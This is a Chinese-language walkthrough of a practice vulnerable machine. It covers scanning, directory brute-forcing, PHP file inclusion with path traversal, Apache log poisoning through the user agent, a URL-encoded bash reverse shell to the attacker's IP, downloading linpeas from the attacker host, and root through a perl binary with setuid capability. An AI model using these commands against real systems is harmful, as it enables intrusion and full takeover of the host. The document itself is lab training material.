提供镜像文件后,直接用虚拟机打开即可,kali攻击机用VMware打开即可,靶机用vbox打开即可
kali攻击机ip地址:桥接自动获取ip,此次中间换过一次IP,没有什么影响
靶机ip地址:(桥接自动获取ip)
目标: user.txt和root.txt
扫描主机
arp-scan -l
扫描端口
扫描靶机开放的服务端口
nmap -A -T4 -p- 192.168.1.118
在这里发现了很多开放的端口,那么我们还是老规矩,先在80端口进行突破看一下
访问一下80端口界面
发现没有什么有用的信息,直接进行目录扫描看一下
然后就直接访问company/index.html界面进行查看
http://192.168.1.118/company/index.html
在这个界面里没有发现什么有用的信息,那就直接看一下源码
正在开发使用file做为参数的php包含方法,那就好办了,我们直接试试
发现其实还是不行,再仔细看看源码有什么遗漏的地方
是不是需要添加完域名才可以,我们先去添加一下试试
vi /etc/hosts
但是扫描的时候发现就发现了一个index.html目录,剩下的网页没有发现,是不是我扫描器的原因,没有扫描完全,那就试试别的扫描器吧,也在这里给大家介绍一个更加完美的扫描软件
Gobuster
Gobuster是Kali Linux默认安装的一款暴力扫描工具。它是使用Go语言编写的命令行工具,具备优异的执行效率和并发性能。该工具支持对子域名和Web目录进行基于字典的暴力扫描。不同于其他工具,该工具支持同时多扩展名破解,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。
-P string:基本AUTH的密码(仅为DIR模式)
-U string:基本AUTH的用户名(仅为DIR模式)
-a string:设置用户代理字符串(DIR模式)
-c string:用于请求的Cookie(仅为DIR模式)
-cn:显示CNNEX记录(DNS模式),不能与“-I”选项一起使用)
-e:扩展模式,打印完整URL
-f:向每个目录请求追加前斜线(仅为DIR模式)
-fw:当通配符发现时,强制继续操作
-i:显示IP地址(仅DNS模式)
-k:跳过SSL证书验证
-l:包括在输出中的主体长度(仅为DIR模式)
-m string:目录/文件模式(DIR)或DNS模式(DNS)(默认“DIR”)
-n:不要打印状态代码
-np:不显示进度
-o string:输出文件以写入结果(默认为STDUT)
-p string:用于请求的代理[http(s)://主机:端口](仅dir模式)
-q:不要打印横幅和其他噪音
-r:追随重定向
-s string:设置状态码(DIR模式)(默认"200,204,301,302,307,403")
-t int:并发线程数(默认值10)
-to duration:HTTP超时(仅限于DIR模式)(默认10s)
-u string:目标URL或域
-v:冗长输出(错误)
-w string:暴力猜解的单词列表的路径
-x string:要搜索的文件扩展(仅限于DIR模式)
gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.118/company -x php,txt,html
在这里终于发现了一个新的目录
那么看一下这个目录进行文件读取看看可以不
发现viper用户,继续收集敏感信息,nmap扫描时显示中间件为apache我们找找日志
http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log
这里的信息一看就知道是agaent头信息,可以修改agent写入一句话木马,再通过文件包含执行命令
curl -A '' http://blackwidow/
http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=id
写入成功,修改payload反弹shell到攻击机上
1、攻击机监听4444端口
nc -lvvp 4444
2、反弹shell,payload部分需要url编码
编码前
http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=bash -c 'bash -i >& /dev/tcp/192.168.1.6/4444 0>&1'
编码后
http://192.168.1.7/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.1.6%2f4444%200%3e%261'
反弹成功,找找敏感信息
cd /var/backups(这是备份文件)
ls
cat auth.log
然后在这里就找到了一个密码(累死我了,找半天,一个一个瞅的)
找到viper的密码,登录SSH验证
ssh [email protected]
cd /home/viper
ls
cat local.txt
在这类就拿到flag文件local.txt,上传辅助脚本检查( 这个脚本非常厉害,可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码,输出非常多。)
1。攻击机上辅助脚本目录下开启HTTP服务
python3 -m http.server
2、靶机下载linpeas.sh并执行(靶机上没有wget,使用curl)
curl http://192.168.1.6:8000/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
找到arsenic文件有CAP_SETUID能力,看看他有什么功能
cd backup_site/assets/vendor/weapon/
./arsenic -h
https://gtfobins.github.io/gtfobins/perl/#capabilities
./arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
cd /root
ls
cat root.txt